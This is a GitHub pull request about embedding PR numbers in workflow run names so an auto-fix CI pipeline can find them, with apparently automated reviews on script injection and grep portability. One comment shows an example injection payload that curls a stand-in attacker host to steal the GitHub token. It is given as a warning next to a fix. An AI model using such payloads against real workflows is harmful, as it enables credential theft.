fix: auto-fix PR discovery via run-name embedding#757
Conversation
The GitHub API doesn't expose workflow_dispatch inputs on completed runs (inputs: null), so auto-fix-on-failure couldn't find the PR number when integration tests were dispatched on main. Fix: add run-name to integration and verify-build workflows that embeds 'PR #NNN' in the display title. auto-fix-on-failure parses this from github.event.workflow_run.display_title, falling back to branch-based PR lookup. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
There was a problem hiding this comment.
Review Summary (Reviewer 1)
Overall: Solid, well-designed change. The approach of embedding PR numbers in run-name and parsing from display_title is a clean solution to the inputs: null problem with completed workflow_dispatch runs.
Verified ✅
display_titlereliability:github.event.workflow_run.display_titleis reliably populated for all run types — it reflects the evaluatedrun-namefor workflow_dispatch triggersinputs.pr_numberedge cases: Bothpush-triggered runs (whereinputsis undefined) andworkflow_dispatchruns withoutpr_number(defaults to0, which is falsy) correctly produce a clean display title with no PR suffix- Fallback path: Branch-based
gh pr listlookup remains intact and correctly handles push/PR-triggered runs where no PR number is embedded - Caller coverage: Both
agent-fix.lock.ymlandfix.agent.lock.ymlpasspr_numberwhen dispatching these workflows; theauto-fix-on-failure.ymlitself passespr_numberwhen dispatchingfix.agent.lock.yml - Workflow trigger matching:
name:(used forworkflow_run.workflowsfilter) is separate fromrun-name(used for display) — no risk of breaking the trigger
Findings
- 🟡 Script injection pattern (line 33, auto-fix-on-failure.yml):
${{ display_title }}directly in shell — currently safe due to numericpr_numbertyping, but the env-var pattern would be more robust - 🟢
grep -oPportability (line 40, auto-fix-on-failure.yml): Not available on macOS/BSD grep — fine on ubuntu-latest with|| truefallback
No blocking issues found.
Generated by Expert Code Review (auto) for issue #757 · ● 7.1M
| BRANCH="${{ github.event.workflow_run.head_branch }}" | ||
| FAILED_WORKFLOW="${{ github.event.workflow_run.name }}" | ||
| FAILED_RUN="${{ github.event.workflow_run.id }}" | ||
| DISPLAY_TITLE="${{ github.event.workflow_run.display_title }}" |
There was a problem hiding this comment.
🟡 MODERATE — Script injection pattern via $\{\{ }} in shell context
$\{\{ github.event.workflow_run.display_title }} is interpolated directly into the run: script before the shell executes. This is the well-documented anti-pattern that can lead to script injection if the interpolated value ever contains shell metacharacters (", `, $, \).
Current risk is low because:
- Only
verify-build.ymlandpolypilot-integration.ymlcan trigger this (locked byworkflows:filter) - Their
run-nameonly embedsinputs.pr_number, which istype: number— GitHub validates it's numeric - So the actual
display_titlewill only ever be something likeVerify Build — PR #757
Failing scenario (theoretical): If a future workflow added to the workflows: list included untrusted user input in its run-name, an attacker could craft a display title like " ; curl attacker.com/steal?t=$GH_TOKEN ; echo " and it would execute.
Suggested hardening — pass it as an environment variable instead of $\{\{ }} interpolation:
env:
DISPLAY_TITLE: $\{\{ github.event.workflow_run.display_title }}
run: |
# ... use $DISPLAY_TITLE (already safe since env vars aren't subject to shell parsing at assignment)This would make the step robust regardless of what display_title contains.
| PR_NUMBER=$(gh api "repos/${{ github.repository }}/actions/runs/$FAILED_RUN" \ | ||
| --jq '.inputs.pr_number // empty' 2>/dev/null || true) | ||
| # The dispatching workflow embeds "PR #NNN" in run-name. | ||
| # Parse it from the display title first. |
There was a problem hiding this comment.
🟢 MINOR — grep -oP relies on Perl regex (PCRE), not universally available
grep -oP 'PR #\K[0-9]+' uses the -P flag for Perl-compatible regex. This works on ubuntu-latest (GNU grep compiled with PCRE support) but would silently fail on macOS runners (BSD grep has no -P flag). The || true swallows the error and falls through to branch-based lookup.
Current risk: negligible — this job is pinned to ubuntu-latest and is unlikely to change. The || true also provides a graceful fallback.
If portability is ever desired, a POSIX-compatible alternative:
PR_NUMBER=$(echo "$DISPLAY_TITLE" | sed -n 's/.*PR #\([0-9]*\).*/\1/p' || true)| --jq '.inputs.pr_number // empty' 2>/dev/null || true) | ||
| # The dispatching workflow embeds "PR #NNN" in run-name. | ||
| # Parse it from the display title first. | ||
| PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oP 'PR #\K[0-9]+' || true) |
There was a problem hiding this comment.
🟢 MINOR — grep -oP requires GNU grep (not portable to macOS) (Flagged by: 3/3 reviewers)
grep -oP uses Perl-compatible regex (\K lookbehind), which is only available in GNU grep. This workflow runs on ubuntu-latest where GNU grep is installed, so it works today. However:
- If the runner were ever changed to
macos-*, BSD grep rejects-Pwith an error,|| trueswallows it,PR_NUMBERsilently becomes empty, and the fallback branch lookup takes over. - If a future Ubuntu image ships a grep build without PCRE support, the same silent failure occurs.
Not a current bug, but a portability concern. A POSIX-compatible alternative if desired:
PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oE 'PR #[0-9]+' | grep -oE '[0-9]+' | head -1 || true)Or using bash built-in regex:
[[ "$DISPLAY_TITLE" =~ PR\ #([0-9]+) ]] && PR_NUMBER="\$\{BASH_REMATCH[1]}" || PR_NUMBER=""| BRANCH="${{ github.event.workflow_run.head_branch }}" | ||
| FAILED_WORKFLOW="${{ github.event.workflow_run.name }}" | ||
| FAILED_RUN="${{ github.event.workflow_run.id }}" | ||
| DISPLAY_TITLE="${{ github.event.workflow_run.display_title }}" |
There was a problem hiding this comment.
🟡 MODERATE — Script injection via inline expression expansion (Flagged by: 2/3 reviewers)
$\{\{ github.event.workflow_run.display_title }} is expanded by GitHub Actions before bash runs — the value is baked literally into the shell script source. If display_title ever contains shell metacharacters (", `, $(), ;), it can escape the double-quoted assignment and execute arbitrary code.
Current risk is low because pr_number has type: number in both triggering workflows, constraining display_title to safe characters. However, this relies on GitHub's type validation as the sole defense — no defense-in-depth.
Suggested fix — pass through env: so the value is never interpolated into script source:
- name: Find associated PR
id: find-pr
env:
DISPLAY_TITLE: $\{\{ github.event.workflow_run.display_title }}
run: |
...
echo "Display title: $DISPLAY_TITLE"
PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oP 'PR #\K[0-9]+' || true)The same pattern applies to the existing BRANCH and FAILED_WORKFLOW variables (pre-existing, not introduced by this PR).
## Summary Closes the last gaps in the agent-fix pipeline so it runs **fully end-to-end** without human intervention: **label issue → agent implements fix → self-review → non-draft PR → integration tests + expert review dispatched → auto-fix if tests fail** ## Changes 1. **`draft: false`** — PRs are now created as non-draft, so `review-on-open.agent` can trigger on `ready_for_review` 2. **Dispatch `review.agent` directly** — bypasses the `action_required` approval gate that blocks `pull_request`-triggered workflows for bot-created PRs 3. **Increase dispatch max** from 2 → 3 (verify-build + integration + review) 4. **Updated Step 8** — instructions now include dispatching the expert review with `pr_number` 5. **Recompiled lock file** — `gh aw compile` auto-detected `review.agent` as a gh-aw workflow and added `.lock.yml` extension mapping ## Pipeline Flow (after this PR) ``` Issue labeled 'agent-fix' → Agent reads issue, explores code, implements fix → 3-model self-review (Opus 4.6, Sonnet 4.6, GPT-5.3-Codex) → Non-draft PR created → Dispatches: verify-build + polypilot-integration + review.agent → If tests fail: auto-fix-on-failure dispatches /fix → Result: fully reviewed, tested PR ready for merge ``` ## Context This is the final piece of the pipeline work started across PRs #755 (integration test fixes), #756 (auto-fix-on-failure), and #757 (run-name embedding for PR discovery). Those PRs fixed bugs that prevented the existing pipeline from completing. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Problem
PR #756 fixed the
branches-ignore: mainblocker and added API-based input reading, but the GitHub API returnsinputs: nullfor completedworkflow_dispatchruns. The auto-fix-on-failure workflow still can't find the PR number.Fix
polypilot-integration.ymlandverify-build.yml: Addrun-namethat embedsPR #NNNin the display title whenpr_numberinput is providedauto-fix-on-failure.yml: Parse PR number fromgithub.event.workflow_run.display_titleinstead of trying to read inputs from the APIThis completes the auto-fix feedback loop: agent-fix dispatches tests → tests fail → auto-fix-on-failure finds the PR from the run name → dispatches
/fix.